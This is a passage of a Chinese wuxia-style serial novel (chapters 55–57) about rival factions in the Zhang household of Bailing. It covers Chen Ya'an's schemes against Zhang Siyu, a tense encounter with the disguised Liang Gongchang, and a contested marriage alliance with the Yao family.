原来,邱怡轻咳声后,就与林兮离席,陈雅安看到张司宇尾行而出,便察出端倪。张司宇起初与邱怡离去时,腰间春和扇是尾端朝上,可二人回来后,确是扇首指天,张司宇动扇要么是为煽凉、要么就是动武,山中寒风凛冽,自不需扇扇,可见,二人之间已是动过手了。
张天作既担心邱怡,又觉张司宇虽手握生杀,但不该在白陵地界外做这般有损张家声名之事,便带着楚英与陈雅安也一道跟着。
“邱姑娘,天作代二哥向姑娘赔个不是。”张天作郑重拱手道。
邱怡回望眼崖处,拾级而下,直至山脚,才轻轻道,“多谢张公子相送。你二哥要的只是结果,目的到了,杀不杀,留不留,都有转圜余地。”
张天作见她面色沉凝,关心道,“邱姑娘似乎尚有心事。”
邱怡垂下眼帘,“林兮心地仁善,只是识人不明。他日到了白陵,若有得罪处,还请张公子海量包涵,小妹感激不尽。”
张天作顿了顿,“只要他行的不是大逆之事,天作自当记同窗之谊。”
邱怡再度低言道,“我送他的锦袋是我极重之物。若他真有那一日,还请张公子代我要回锦袋中物,我必至白陵取回。”言语甚是诚恳。
张天作回道,“没问题,我答应你。”
陈雅安素日冷淡的眼中,鲜有热忱,忽笑道,“我、天作与林兮三年同窗共读,他与你的情意,我二人再知悉不过。张司宇这般插手,对你实在不公。在下有一计,姑娘离开云间后,可先去江邑暂时落脚,江邑君侯乃是天作亲娘舅,过二年,我寻个机会将你接到白陵与林兮团聚,如何?”
她眼神亮了一下,倏忽又暗了下来,这是邱怡到江心学宫以来,第一次听到陈雅安主动开口,说的还是如此之事,她清楚,陈雅安对任何人无甚热情,突然抛来诱好,定大有用意。
听着陈雅安张口闭口说的尽是邑侯,她这才明白,原来不仅二哥投靠了朝廷,他也倒向了舅父了。
舅父是什么人?
是最想控制白陵的人,甚至,舅父想要的,不仅仅是北都一地,还是整个天下,为此不知下过多少功夫。
对她和张天作最为明显,虽是面上如亲,实则,一直在潜移默化影响二人,好今后为他所驱。
罢了,这本就是父亲亏欠于母亲,我亏欠于潘家,舅父再是如何,也不会害到三哥身上。
邱怡故意道,“张司宇有意要林兮娶一位名叫姚十一的姑娘,以他风行之手,绝等不了两年。”
陈雅安一笑,自信道,“可娶就可休,只要姑娘配合,鄙人自能如你所愿。”
邱怡垂眸,“你心肠倒是热,可惜我不愿过仰人鼻息的生活。”
陈雅安眸色漠下,“不打紧,转了心意,你随时可去江邑城,邑侯知了你的来意,必会派人通知我的。”
邱怡轻阖眼帘,心中失望更甚。
张天作知邱怡去意已决,便提出要送她出江心大门。邱怡谢过后,他带着两位随从去江心的马场为邱怡将马牵来。
邱怡亦回房收拾好简单的行囊,江心正门处,见张天作已经将马儿带来,邱怡缓身上马,一声轻鞭,回望张天作道,“张公子,烦你转告轩辕夏,梁夫人病情要紧,我先回小次山为她医病去了。”
伴着嘚儿嘚儿马蹄声,张天作说道,“邱姑娘,后会有期。”
邱
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怡怀着满腔幽恨,在静静星夜下,在漫漫古道上,扬鞭纵马。
邱怡刻意透露了一条极为重要的信息,张司宇竟有意要林兮与姚远舟的女儿结为一亲,吻合了此先陈雅安对林兮的判断。
张天作说道,“雅安,你料得果准,二哥真对林兮大有安排。”
陈雅安静默如秘,他的脑中总是藏着万言千语,却总只以一抹淡漠示人。
张司宇文武双全,一向自视甚高,行事单枪匹马,陈雅安留心到张司宇对林兮,格外的上心,与众不同的上心。他沉目幽声道,“邱怡是对付林兮与张司宇的一张好牌。”
楚英思考着,如果邱怡是可对付张司宇与林兮之人,陈雅安想用何样的手段呢?借刀杀人、反间计……极为惋惜的语气叨叨道,“若那姑娘模样再出挑些,倒是可用美人计了。”
“不错,正是美人计。”陈雅安肯定道,眼底闪过一道锐敏之极的寒光。
陈雅安辩人如炬,竟也有看走眼时?楚英吃了一惊,“兄弟,你没搞错吧?”
陈雅安冷冷瞥了眼楚英,训道,“你以为随便找个肤白貌美的女人送过去就算作是美人计了?那样低劣的计策,你觉张司宇识不破吗?”转又极为自信地说道,“我准备的,即便张司宇察觉了,林兮也拒不得。”
楚英难信道,“你觉邱姑娘能做到这样?”
陈雅安眸中透流阴暗的情绪,坚坚意味道,“过去的辗转反侧与爱而难得,再度出现,再续前缘。相信我,没人顶得住。”转而又冷悠悠道,“楚英,你几时见过有谁在张司宇手底下活过命的?你又见过谁逃脱得命后,仍敢单刀赴会张司宇的吗?就凭这点,邱怡绝不是一个等闲的人,如果我们成全她与林兮之事,不仅是邱怡,连林兮都会对我们感恩戴德,林兮要的不过是功名,这些我们也给得出。那时,林兮已成张司宇心腹,只需稍加利用,将是对张司宇最致命的打击。”
楚英恍有所悟,“还是你技高一筹。”
听着楚英的称赞,陈雅安一丝欢欣的模样也没有。
张司宇虽横行无忌,但他纵横白陵,向来大刀阔斧,不行阴谋诡计。可他,文武不如张司宇两全兼备,出身不及张司宇尊贵名正,唯能在幕后暗处默默结着蛛网,静待猎物。
张天作叹声道,“姚都督如真转向二哥,怕我和母亲再也安宁不下了。”
陈雅安冷悠悠道,“担心什么?姚远舟若是知道了那件事,他绝不可能再像过去那样按兵不动、两不相帮了。”说完,目色一沉,更显得冷漠异常,心中的恨意如同绵漫的黑夜,心道,张司宇,别怪我拿陈年旧事将你军了。
但任楚英怎么问,陈雅安都缄口不答。只问楚英,“楚英,你离开白陵,可是有将与我往来通讯之事交由水伯?”
楚英承认。
陈雅安回房后,即刻到案边书信,将张司宇欲心腹娶姚远舟之女一事告知白陵,同时,也附上一封隐龙阁的调令。
翌日午前,水伯看完信后,眼眶微微泛红,取出火捻将信燃了。到天作之合馆门处,双膝扑地,双手平放在膝上,恭敬地磕了三个头。随后,双足一顿,身形如电,纵跃而去。伴随着一声树枝的声响,老汉的身影渐渐隐去。
这位水伯,姓郑名三水,既是以一身名为“神出鬼没”的轻功可踏浪翻江的飞狐郑三水,又是碧眼盗圣素娘的丈夫郑三水,当年,就是他,送幼年楚英到的白陵。
陈雅安遵守允素娘的承诺,许他夫妻二人团聚。
55. 各走天边
张鹏带着张司宇,张天作,陈雅安,楚英和林兮五人在腊月上离开了江心学宫。
张天作归心如离弦飞箭一般,才出江心学宫,便一溜烟扬鞭飞驰。
张司宇对着弟弟的驰去的骑影,既欢又愉,不忘对张鹏感恩言道,“天作进步飞速,劳三叔费心教诲了。”
张鹏只笑而不语。张天作几日来都是快马淋漓,途经小次山时,不禁想起山上的梁功长,远见一处茶棚,顿觉口干舌燥,所骑马匹亦是一身热汗,下马去问茶解渴。
但他看到那胡须乱面的茶棚主家,登时呆若木鸡,心中不无惴惴,支支吾吾道,“梁……掌门?”
梁功长一脸茫然,怔愣半晌,见与张天作随行几人渐近,那匹瞩目的白马上,高立银影渐近,低声嘱咐道,“我只看看他,不是来生事的。”
张天作心里一顿,明明口干的厉害,却十分想离去。
“店家,来壶茶水,再上几样好菜来。”随之而到的陈雅安吩咐道,拍了拍张天作背脊,示意他不要声张,随手放下一锭十两重的亮银。
林兮在他认出梁功长前,便是百感相交,遥想邱怡此刻是不是正在小次山上,但想起那晚她的决绝,又时刻默劝自己不要再去想她了。
在他认出那店家是梁功长后,看到不知实情的张司宇,不知自己是不是要暗示张司宇些什么。
但思起一向温厚的张天作对梁功长疏离的态度,怕张司宇知道了,也是大差不多。只故问道,“司宇兄,听说你与天官大哥只差两月,他既已成亲,不知你何时娶妻?”
张司宇神情微微恍惚,想林兮到了小次山脚,或许是触景想到了邱怡,用不冷不热的声调说道,“身无功名,莫误佳人,自该是先立业再成家。”
那日匆匆一过,梁功长还瞧不真切,只觉张司宇朗目明眉,带着天成的高贵与神傲。
今日近看细瞧,与邱怡带回的画图中一样,英逸有加,眉目甚像自己不说,出众的五官亦有几分其母余韵。不凡的气度中,不仅外溢着张家人的铮铮傲性,更暗蕴着腹涵千卷的斐然才气。
梁功长暗念,果是张鸢一手教出的,言辞较张天作更像张鸢。又不禁忧心,张司宇会不会如张鸢那般,一心只念宏业。
张鹏却上了心,对着侄儿打趣道,“司宇你这么说,叫天下男儿该情何以堪啊。”话毕,不忘豪笑三声。
迢迢的记忆摇唤,月湖下,微风泛起水面波影,那时,他还仅仅是位才子,四妹临风抚琴,他在旁同歌,清音袅袅,一人风华正茂,一人国士无双。
琴曲毕,四妹提起,“二哥,父亲跟我提了,说等姚家女儿再长几岁,就为你二人定亲。”
当时年少,他只当是兄妹间在话家事,言道,“难道,二哥一定要娶了她,才算得良缘吗?”
四妹目中一亮,“姚家女儿性情飞扬,二哥却是稳得住性子的,这一动一静,如何能相配呢?”
他连连点头道,“二哥只想与心爱之人相守,若遇不到这样的人,二哥情愿孤独此身。”
谁知,这匆匆数语,却被伯父听个满耳,而后,一人被罚闭关思过,一人被罚去极遥服役。
天地虽大,但张司宇情愿世间从没有过什么父母之命,亘古长夜,张司宇只盼今生永远停在伯父露面前的那一瞬刻。
视着张司宇有似回忆的神情,陈雅安发出冷刺一般的声音,“司宇,听说君侯曾给你提了一门不错的亲事,真有这事吗?”
梁功长应声竖直了耳朵,竭力瞥盯着那桌客人,心提得一秒一顿,求陈雅安不要打这多哑谜,盼他们快快道出张鸢为张司宇定配的是哪家姑娘。
陈雅安的话如尖头快箭般穿入张司宇耳间,使他目眦尽裂。
“还有这样的事?”张天作吃惊问道,“是哪家女子?”
陈雅安看着不爽不悦的张司宇,轻松笑道,“我也不清楚,听少主说来的。”
“司宇,你如今也二十有一了,若真有这样的事,此番回白陵后,就把这门亲结了。”张鹏提议道。
陈雅安明明全然知道实情,却故作不知,反是抛出旧事的只言片语嘲弄,就像是生有倒刺的藤蔓,挣不开,斩不断。张司宇嘴角向下,眼色阴沉,只得讹口道,“过后才打听到,那女子已许配了人家。我业已和伯父言明,今生非心爱之人不娶。”
梁功长闻声甚悦,再度提起了耳。
张鹏即声追问道,“不知是哪位女子有这样的福气,得你倾心相待?”
张司宇肃声道,“待遇到了,自会告知三叔。”
三叔。梁功长才醒过神来,目不转睛视向那桌上的中年人,眼中流出无尽思绪。
张鹏亦留神到,这位视向自己茶棚主一直对己行格外关注,虬髯丛上投来的眼神,好是熟悉,连面廓也是像是在何处见过一般,只是他脸上厚须将嘴鼻遮掩得密密蓬蓬,闪过许许多多的回忆,却想不出是在何时何地见过那虬髯大汉。
“二哥,到时也要告诉我。”张天作洋洋道,“我也盼着再有一位孝顺又持家的好嫂嫂呢。”完后,得意的小眼神不忘挑视向三叔。
张天作口中的孝顺又持家,自是夸赞其儿媳江成绮,自与张天官成亲后,不仅晨昏定省日日向自己的母亲请安,更是将张天官一应起居事宜打理得井井有条。
张天作一声二哥,令张鹏始是一愣,短暂神离后,骤惊想起来了,那不正是二哥张鸷吗?
他张大着眼睛,紧紧盯住那汉子,而棚中虬髯须面的梁功长的目光亦不躲离,二人眼神交碰到了一处。张鹏才意识到,原来林兮关切张司宇的婚姻之事,竟是故意要说与他听的。可父亲被他气病卧床的场面,历历在目,大哥张鸢亦曾明言,今后的白陵张家,不许再出现张鸷的一字半言,为他求情者,视为叛城。
张司宇目光深邃,循着张鹏的视光回头望去。
梁功长忽地闪避开,张司宇当即察出不对,那汉子与张鹏对望良久,为何自己才看了一眼,他就这般的心虚?
转而瞟了一眼张天作,张天作四下提溜的眼神,那汉子一身的武相,甚至此时正处在小次山山脚下下,如此种种,他知道了缘由。
张司宇瞳孔微微一缩,假作镇定,本欲提起筷箸,想起这餐食是梁功长准备的,刚刚伸出的手缩了回来。再准备端起茶碗,可一将这些与梁功长联系到一处,他竟半分触碰的心思都无。本侃侃而谈的氛围,也是变得鸦雀无声。
梁功长的心虽迫切,但张司宇眼中的漠意,他庆幸着,幸好张司宇未认出自己,如果他来问我为什么当年要将他舍弃?要将他一人留在墨白城?该如何答呢,总不能像与邱怡谈话那般,将自己一腹苦水倾倾而出。
一伙人补给完毕后,张司宇卓然起身,走向白马河川,身姿笔挺,宛若青松。摇身上马后,吆令大家快些离去。
楚英见他速去之心,意会到张司宇在此地周身不适,听陈雅安在耳边轻轻告诉他那位店家实是张鸷后,又掏出一锭纹银,格外有声地按在木桌上,“饭菜可口合心,老爷子,赏你了。”
张天作心惧,而张鹏更是瞋了楚英一眼,示意他快些离去。
张司宇知道这是陈雅安与楚英在向自己心间的另一根锥刺挑衅,强作端持,朝向佯作涮洗碗碟的虬髯汉肃声道,“白陵张家人不做暗事,我张司宇亦不欺暗处。司宇受伯父养育之恩,此生定当以子之礼孝侍伯父一人,以报其德。”
梁功长难信地望向一行人远去的骑影,伴着嘚儿哒嘚儿哒的蹄声,“不做暗事”、“以子之礼”犹在耳畔,泾渭分明的张司宇,好像二人之间从无一丝联系,好像他以为的血脉相连,只是一个以为而已。
当夜,众人于十里铺投宿。楚英与陈雅安借口连日赶路,马匹劳疲,要去镇上换几副马蹄。
二人刚告别众人,就有人悄无声息地跟上了二人。
其实这人已经跟了他们许久,只是见张司宇与张鹏在旁,并未露面。直到二人终于脱了单出来,才现的身。
楚英先是一愣,在墨白城十余年来勤勤恳恳,日出而作、日落而息的水伯,怎会出现在此处?恍了恍神,想起陈雅安有意交代他离开墨白城的时日要水伯负责传信,猜到他大约另有身份。
“
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楚统领,陈大人,上将在此,我不好现身。”水伯打招呼道。
楚英问候道,“怎么,给你派任务了?”
水伯苦笑颔首,眼角滚出几颗泪珠子。
“雅安,你又给水伯派了什么艰难任务?”楚英问道。
水伯深吸了一口气,努力抑制着那股涌上心头的情感,“楚统领,不是难事。”
陈雅安拍了拍水伯后肩,“老郑,別杵这了,喝杯去。”
楚英顿了顿,“马蹄子不要了?”
陈雅安嫌弃一眼,“让铁匠打着,等下来取。”
水伯无奈望了望楚英,当年他亲自将楚英从南越带到白陵,又亲眼看着他长大。在他眼里,陈雅安更为内敛,楚英更为外放,这两人都和自己的孩子一般无二。
三人寻了间有雅屋的小馆,随意要了几样酒菜。
郑三水先是开口,说自己屋里留了几坛老酒送给楚英与陈雅安。楚英正要问是哪几坛酒,就听陈雅安告诉自己,老郑这次完成任务,就不会回来了。楚英初听,以为水伯是要去做什么绝难的事,心中哀默了下,但见水伯和陈雅安神色平常,尤其是水伯,脸上藏不住的喜悦。
“老郑要告老还乡了。”陈雅安向楚英解释道。
郑三水感念,陈雅安时时都是滴水不漏,他与夫人素娘归隐的事,竟对楚英都瞒得密不透风。
楚英虽不舍水伯离去,但也是为他开心,“水伯,家里还有什么人吗?”
郑三水犹豫间,听陈雅安提醒道,“我记着你有一个妹妹是吧?”
“是,是。”郑三水点头称道,“我妹妹前几日来信儿说,她在江邑那边一镇子落脚了,我正准备去寻她呢。”
“江邑好啊,今后我们去江邑,咱们还能一起喝酒。”楚英快言道。
“没问题。”郑三水应和道,“听说我妹妹在那边收留了不少孤儿寡母,我也准备到那儿去帮她忙,出点儿力。”
看着陈雅安神思的模样,郑三水又道,“墨白城,这几年不如以往太平,今后若要用人,我随时愿为张大哥效命。”
陈雅安还正疑惑着,郑三水为何要将自己去处说的这么清楚,原来是他给郑三水派的最后一项任务太轻松了,心里过意不去,还想着为墨白城效力的事。
“水伯,你够意思!”楚英拍着他肩膀赞道。
郑三水掏出一枚木刻狐牌,放到陈雅安杯边,“陈大人,你今后要是找我老郑,就将这狐印印在江邑城里街角,老郑见了,自会去寻你。”
陈雅安拾起狐牌,在手里掂了掂,嘴上道,“好。”随后,将狐牌收了起来,手从怀中出来时,攥着一沓厚得出奇的银票,“老郑,这是少主给你上路的钱。”
郑三水听到“上路”二字,眼里擞了一惊,在江湖飘过刀的他,太明白这两个字是什么意思了。心忧道,果然没这么便宜的事。因为,隐龙阁派给他的所谓的最后一项任务,便是要他去与素娘夫妻团聚,不必再回白陵复命了。
他将陈雅安递来钱票的手推开,“我离开时,特意去天作之合馆外向少主磕了三个响头,若少主真给我留了钱上路,为何那时不给我呢?”
陈雅安将手中银票放在郑三水身前,两根手指尖重重地点了三下,悠悠道,“少主既许了你安生日子,自会给你留安身的银钱。你妹妹在江邑收了不少孤儿寡母,你就带着这些银两去那太平地方继续陪你妹妹做善事好了。那江邑虽是热闹地方,难免会有猛虎都压不住的地头蛇欺凌妇孺,你有些功夫,该是去帮衬下,去江邑上路之事,倒可考虑。”
郑三水警心,陈雅安前半句要他去太平地方安身是真心话,后半句便是示警江邑不可久留了。可对着那一扫便数额不菲的银票,郑三水知道那大约是陈雅安的私蓄,难以收受。
陈雅安又命令似的说道,“收着。就当你们是为少主去做善事,为少主积福。”
与郑三水道别后,楚英和陈雅安回到铁匠铺取打好的马蹄,趁楚英检视的功夫,陈雅安将木狐牌丢进滚热的炉火中,希望踏浪飞狐郑三水像这枚狐牌一样,永在波涌的江湖中隐去。
56. 重重逆境求其解
寒来暑往,秋收冬藏,一年又将到了尾声。
北上白陵的路上,经张司宇介绍,林兮亦对白陵当局有所粗识,经张司宇一番清洗,除去肖、沈两家,其余括含张家远房宗亲在内的几门白陵世家,皆不复存。
肖、沈两家之所以幸存,是因他们与白陵军中关联密切。
肖氏一门,在张家人到白陵前,就已追随张莫南征北战。张家受封北都之主后,白陵军中,历有肖家人身影,如今当家的,姓肖名垂,乃是北军统将。
至于沈家,又不得不提如今白陵的一门新贵——姚门。
姚远舟身为白陵五军都督,握有白陵十万兵马节调之权。
五路大军,分别戍守白陵都城和东南西北四地。五军统将,除北军肖垂与西军岳刚外,二为其子,一为其妻弟沈炼。
姚远舟的两个儿子不过三十出头的年纪,早早成为一军统将,离不开这位身为都督的父亲一路护佑提拔。此中,最受姚远舟器重的,是负责护卫白陵都城的长子姚重九。
张司宇有心为林兮与姚远舟之女姚十一牵红线,也是希望能就此在白陵军中,安插入自己的人。
忽见远方卷起了一阵雪茫烟尘,道路尽头一片黑压人马向此处涌来,地面也跟着晃了晃。
张司宇勒住缰绳,命大家停在原地。
整片雪野,扬尘滚滚,蹄声隆隆,乌压压的士兵像雪潮一般迅速涌来,鲜亮的旌旗迎风飘扬,旗上赫赫迎着一“姚”字,领头的是一位年轻模样的将官。
待临近己处时,只听为首将官一声喝令,无论兵士还是马匹,均停在了原地。
年轻将官跳下马来,疾跑数步到张司宇马前,双膝扑到雪上,拜道,“姚上元见过上将,见过三公子,见过三爷。”
身后人马,几乎同一时间下马跪拜,整齐雷喝道,“末将见过上将,见过三公子,见过三爷。”
林兮远远看去,一副副明亮的铠甲闪烁着光泽,为首列阵的兵士,长枪几乎处于同一高度,枪尖直朝天际。随后一阵是刀斧手,他们的佩刀都好像经过特别的训练,刀柄皆是对着同一向,最后一阵则是一队面貌焕发的弓箭手。
张司宇缓缓道,“姚将军,你怎在此?”
姚上元回道,“父帅知上将今日将到平川镇,特命我等来迎。”
张司宇又道,“姚都督呢?他在何处?”
“父帅去都城了。”
张司宇思量了下,姚远舟平时驻在平川镇,没有诏令是不该擅自进白陵都城的。回身对张天作道,“天作,我们先在平川镇将歇,用过午膳,再回白陵。”
一路上,林兮时刻听着身后冷兵碰甲的哐哐声,心中甚是激昂,臆想着姚远舟领率千军万马该是何等振奋人心的场景。
进平川镇后,姚夫人早早在姚府备好暖菜热羹,一路寒风裹腹而来,满满一桌热呼呼的肉食简直令人寻不到拒绝的理由,蒸软羊,杏酪鹅,红熬鸡,鹿脯肉,蜜炙鸠子,葱泼兔……林兮瞧见姚十一也一直跟在姚夫人身后,双眼晴沆肿润,眉间流撒着娇愠之气,好像才刚哭过似的。
落座后,张司宇正居中座,左右分是张天作与姚夫人,姚十一坐在姚夫人身侧,再旁是她的二哥姚上元。林兮随着楚英与陈雅安坐在最末端的位子。
“十一姑娘,今日怎不见你出来迎我?”张司宇问道。
姚十一小嘴翘嘟,“不想去。”
张司宇一惑,姚十一向来潇洒率脱,今日好像换了副性子。“怎么?又和姚都督闹别扭了?”
姚十一扭了扭头,姚夫人插话道,“上将,这丫头又耍性儿呢。”
张司宇淡淡一笑,调侃道,“从来都是听说你气你爹,你被你爹气着了,倒是头一遭啊。”
“司宇哥哥,爹爹不讲理,你可得帮我主持公道。”姚十一委屈道。
张司宇回道,“说来听听。”
姚十一瞅了瞅,“司宇哥哥,我爹他——”
“诶,上将诸事繁多,哪有空管你这小事来?”姚夫人突然开口拦住,转后向儿子命令道,“上元,带十一回房。”
姚上元应声将不情不愿的姚十一带了下去。
张司宇本想再细问几句,可这女孩家的闺事,也不好多言。而姚夫人亦只是含笑招待众人,并未提及姚十一生气缘由。
待几人回到墨白城,听到下人说此时陵侯夫人正在揽月阁召见姚远舟,张司宇遂带着众人先去了揽月阁。
陵侯夫人见到张司宇几人风尘仆仆地赶了进来,不等与儿子张天作嘘寒问暖,便得意道,“姚都督,你且放心,待十一嫁予天作,我必将她当自己女儿看。”
姚远舟欠身道,“夫人言重了,君侯向来厚待我姚家,十一可嫁予三公子,是小女的福气。小女顽劣,还望夫人好生管教。”
楚英闻言,暗自叫快抢了张司宇的先机。
陈雅安却隐有一丝担忧,张司宇手段雷雳,与之交锋应避其锋芒。以他对张司宇的了解,对姚远舟的判断,如果张司宇才回到白陵就去为林兮定下这门亲事,姚远舟必定会觉是张司宇在拉拢自己,还是用一个在白陵毫无背景,毫无建用的人拉拢自己,他岂会轻易点头?
何况,这三年他虽不在白陵,但他另行训练的一批人,已经悄声潜入兵营,只需在张司宇为林兮说亲后,将早年张司宇曾用毫无商量的态度拒绝陵侯为他婚配姚十一之事散出,姚远舟得知后自会慎重考量张司宇的动机。
陵侯夫人此举,无异是在画蛇添足。
张司宇听到此事,心中窜出一股无名的闷火,但看伯母得意之态,只得强作镇静道,“姚都督,原来你擅自离开平川镇,是到了君侯府来。”
姚远舟正要谢罪,陵侯夫人却是先开口道,“司宇,你不会是看伯母越过你这还未成婚的哥哥,先张罗起天作的婚事,心存不满吧?”
张司宇默咬着牙唇,极不自在道,“三弟的终身大事,是该考虑了。”
陵侯夫人似笑非笑道,“伯母知道,你是能给自己拿主意的,倒是天作,免不了让人多费些心。”转又向姚远舟道,“年后,就请钦天监测个吉日,为天作和十一把这门亲定下。”
姚远舟回道,“是,多谢夫人厚爱。”
张天官新妻姜成绮闻声贺道,“恭喜伯母。听闻十一妹妹虽是女子,却是位不折不扣的女娇娥。”
陵侯夫人轻抿了抿茶盏,嘴边挂上一抹耐人的笑。
张天作拿出自己为大哥大嫂作的画,上前拜见新嫂。
而张司宇未顾一眼,便离去了。
出揽月阁后,张司宇看着下人们正举着红笼彩结,装饰墨白城,以
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迎新春。
他则裹着凛冽寒风,回到了后山的流云居。
先回流云居的林兮正团着身,靠在火炉旁,看张司宇进门,一脸苍白,唇间不时呼着白白的哈气,“司宇,外面凉,过来烤烤火。”
张司宇沉着脸坐到了梨花椅上,准备倒水,却发现壶口已被冰碴儿堵住了,又将壶放在火炉架上,一手拍搭到林兮背上。
隔着一层厚厚的棉衣,林兮都觉背后传来一股凉意,可张司宇仍穿单衣,好像对冰天雪寒没有任何感受,问道,“你冷吗?”
“冷。”
张司宇答道。
林兮紧地闪出最近炉旁的位置,向他道,“快来烤烤,在屋里待住就暖和了。”
张司宇有气无力回道,“我是心里冷,烤不暖的。”
林兮觉出不对劲,问道,“这是怎么了?”
张司宇如实告知。
越是说越觉愧疚,他为林兮与姚十一谋划的婚事,被人截了去。
林兮是谁?初到白陵,默默无名,如何能与白陵君侯的儿子相提并论?
陈雅安离开的三年,他虽日日铭记“寒明心智”,但终归是舒适惯了没有对手的日子,以至陈雅安才回到白陵,就让自己遭了掣肘。
更准确的,这份掣肘,随着陈雅安的回归,亦将如影长随。
林兮聆听完,安慰了句,“司宇,我随你来,是想帮你,也是帮我自己。”
闷不发声的张司宇却道,“林兮,我榻子上,《秦帝本纪》下面有本手札,你去取来看看。”
林兮应声起身,见榻席矮桌上,确摞三书,最上的是张司宇提到的《秦帝本纪》,切面看去,中间篇的页纸发黄的很,显然被时常翻看。
下面便是张司宇说的手札了,扉页崭新,没有书冠,亦没有封名。林兮拿起那本手札,又见其下,还有一破堪不已的册子,不仅书角书扉破损得厉害,书脊亦现了裂口。
张司宇说道,“这本手札里记得是今年新春要例赏的人,你代我去派,只给这上面的人就好。”
林兮点了点头,望向那本破堪册子,疑着声道,“这本是?”
张司宇端身站起,走到榻子旁边,低头视着那本册子道,“是与少主读书时,我二人的随笔小感。”
林兮突然好奇起来,“可否借我看看?”
张司宇默默看向林兮,眸中洋溢着暖色,“看吧。”
林兮拾起那本边缘已经被磨损得不成样子的手册,翻看起来,每翻过一页,都异常小心,生怕一个不留神,使它破中生残。
整本书册只有两个人的笔迹,一笔挥洒自如,腾蛟起凤,林兮识出这是张司宇的字迹。另一种笔体,亦是淋漓行水,筋骨具备,若不是先入为主知道那是出自少主之手,任怎样猜,也想不到那竟是女子所书。虽是闲言摘记,但一字一言间,仿佛蕴含着横扫千军,吞天吐地的气概。
林兮不禁感慨道,“少主和天作真是两副性子的人。”
张司宇不以为然道,“少主性狂,天作性润,他二人除了模样像外,只论性情,断觉不出是一对双生兄妹。”
林兮恍了恍,说道,“少主的笔迹,看着和陈雅安的倒有几分相像。”
张司宇苦口,陈雅安若是特意写,他的字可以仿张之合仿得一分不少。
57. 辗转销眠夜
林兮细品着语录所载之言,心中再腾起一股子壮迈之情。一路上,听张司宇谈及姚远舟手中握的军机重权,总是臆想,哪怕有姚远舟的十分之一,也一定是耀威非常。惋声念道,“山不厌高,海不厌深,周公吐哺,天下归心。【1】十六字言,谈何容易?”
张司宇上扬着嘴角笑道,“疏又何妨,狂又何妨?她绝配得上。往后翻,还有一句,‘海到尽头天作岸,山登绝顶我为峰’【2】,亦是少主所写。”
林兮扫视着后面几页,果见了两句如飞一般的墨字,下方还落着张司宇留下的一行洒字,“扶摇直上九万里”【3】。
林兮心中不住感慨,这对兄妹口气真又高又盛,难怪张司宇从不甘心落于人下。再往后一翻,又见到了张司宇写下的全篇《月楼记》,看到“心旷神怡”时,林兮心中一颤,邱怡提过,她的名字就取于此。紧忙翻过这页,再看后页文尾处,张司宇另加了句“贺吾妹之合十二岁芳诞”。
这篇后,又是同样一篇《月楼记》,是白陵少主写下的,再撞见“心旷神怡”四字,林兮更是烦扰不堪。
啪地一声,重重合上了册子。
这一声听得张司宇好像临了大敌,喝道,“你当心些。”
林兮意识到,这本语册虽已被翻看得书脊几是要裂开,确是张司宇十分珍惜之物。“司宇兄,抱歉。”说着将其奉还给张司宇。
张司宇理了理卷起的边角,林兮问道,“司宇,这里写的多是名言,你应早早了然于胸才是,为何还将这本语录带在身边呢?”
张司宇转过身,将半侧身子倚靠在窗沿,空望着窗外的寒落冬景,注望了许久许久,才慢慢开口道,“多读读少主的话,才好更加了解少主的心思。”
林兮也去到窗边,随着张司宇的视线望去,远远有三人影正迈过天作之合馆大门。林兮稍稍有些怔住,探问道,“邱怡虽然走了,但我也暂无成亲的想法,你不必往心里去的。”
张司宇挑了眼天作之合馆,说道,“若是少主面临此局,她绝有更高明的法子破局。”
“是啊,你我都正当盛年,为何定要靠婚嫁联姻来拉拢人不可?我们凭自己就是。”林兮继续安慰道。
张司宇轻轻阖上眼皮,肃声道,“林兮,你在这盯着天作之合馆,一旦见陈雅安出来,即刻告诉我。”
张司宇转将火炉移到林兮身边,自己又回到榻上,重新读起那本语录。
林兮不明其由,只循着张司宇的意思,监看着天作之合馆的院子。
除了腾起的炊烟,天作之合馆静得出奇,若不是日暮时分,几处窗下亮着灯火,都信不得那里面住着人。月近天心,都未见有谁到过院里,更未见有人出来。
张司宇看林兮连打了几个哈欠,督他睡到自己床上。换由他盯视起天作之合馆,惜一夜过去,都没见陈雅安出来。
外夜虽静,张司宇却思绪乱如潮,脑子里涌出许多回忆来。
张之合,清冷得像阵风一样,过去张司宇总是尝试,从她面中,读出她的心思,却觉这世间鲜有杂事萦于她心。于友,她是春风化雨般舒宜,为敌,便是无声处之惊雷。
犹记几年前,她与张天作二人对弈,张天作执黑子,她执白子,不过局半,张之合便占尽先机。张天作突唤,要与她换方。她亦是淡笑一句“可以”,待她接手张天作的黑子后,接连几手拆飞,便扭转了黑方败象。
张司宇心念,少主,如果是你,你会怎么做?
脑海中浮出一张侧容,幽凝的凤眸下,嘴角轻轻一提,张司宇等着她的答语。
长舒一口气,张司宇缓缓脱口道,“远近纵横,吾不得而知也。”
过去的种种,在他心中犹如掀起了滔天之浪,久久难平。
天边散出新一日的晨光,林兮惺忪睁眼,看张司宇仍是端坐窗边,眺着天作之合馆的方向。林兮揉了揉眼,问道,“你怎觉他晚上会出来?”
张司宇仍是目不转睛向着外面。“他有一只鹰,这几年他人虽不在白陵,但有着那只飞鹰传书,白陵的消息他是全然知晓的。”
“这与他出不出来有什么关系?”林兮问道。
张司宇轻蔑一笑,“如果他明里是一只飞鹰,那么在暗处,这人就是一条藏在草里的毒蛇了。”
对着不甚理解的林兮,张司宇谈论起此前清理兵营细作之事。又说起在那次清理过后,陈雅安好像收手似的,再无江邑来的人进入兵营也就罢了,白陵各处各落,也不见任何可疑的人。
张司宇本该喜闻乐见,但偏偏那心急意切的伯母也像是把这事忘记了一般。张司宇故意将陵侯夫人禁足在墨白城,不许她外出,可也没见伯母有一丝儿着急的模样,整日在房内不是弹琴,就是品茗。由此,张司宇认定,墨白城,乃至北极宫内已经混入了陈雅安的暗线,负责与外间联络。方想着,陈雅安才回白陵,定会与他的眼线碰头,故而守株待兔。
“会不会雅安知道你在盯着这事,故意不去见那人?”林兮又问了句。
张司宇略绪片刻,“绝不能大意。此前陈雅安送信回来,告知潘氏我欲让你娶姚十一之事,我的人一直盯着,潘氏从未派一人出过宫,这才几日,她就可联系上姚远舟,要天作与姚十一定亲。可见,宫里确实有人向兵营传递过消息。”
姚远舟与陵侯夫人,一者为情谊,一者为兵权,也许是知道暂时无力拆开二人联盟,也许是语录中白陵少主留下的那句“宁失数子,勿失一先”,使他更清,真正要拢聚的不是姚远舟这个人,而是他手里的兵权。
